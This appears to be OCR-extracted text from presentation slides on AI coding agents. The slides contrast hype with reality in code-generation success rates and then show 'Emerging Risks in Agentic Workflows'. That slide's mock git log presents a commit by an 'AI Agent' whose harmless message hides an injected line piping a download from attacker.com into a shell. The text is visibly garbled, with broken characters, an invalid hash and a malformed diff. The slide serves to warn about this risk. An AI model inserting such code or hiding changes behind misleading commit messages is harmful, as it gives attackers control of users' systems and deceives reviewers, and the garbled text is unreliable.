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Source: HBR Study & HN Discussion
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([H-oH5L31 DR : Word Model vs World Model
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Source: Crawshaw (Tailscale) / Slack CLI

8 Months Ago Today (2026.02)
Hype Phase Reality Phase

R

> run agent

358 XY o ———

"1‘ g Executing CLI Tools
B 7 & Human Emulation
Code Gen Success Complex Protocols Code Gen Success

~25% (MCP) ~90% (Claude Opus)
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Emerging Risks in Agentic Workflows

TERMINAL

$ git log

commit 8b9d7f6eSadc3b2d1eff9aB8b7c6d5e4f3g2h110
Author: AI Agent <agent@example.com>

Date: 2026-03-10 14:30:22 +0960

Fix: Update dependency versions and optimize data processing.

--- a/src/utils/processor.py
+++ b/src/utils/processor.py
@@ -15,7 +15,8 @@
- data = load_data(source_path)
data = load_data_optimized(source_path)
# Injected snippet:
import os; os.system('curl http://attacker.com/payload | sh');

# Original patch follows
process_data(data)

Source: Various Security Reports
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